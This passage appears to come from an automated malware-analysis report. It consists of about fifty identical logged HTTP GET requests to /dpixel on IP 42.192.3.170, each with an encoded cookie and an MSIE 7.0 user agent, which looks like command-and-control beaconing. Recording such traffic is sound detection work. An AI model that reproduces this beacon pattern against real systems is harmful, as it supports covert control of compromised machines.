Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
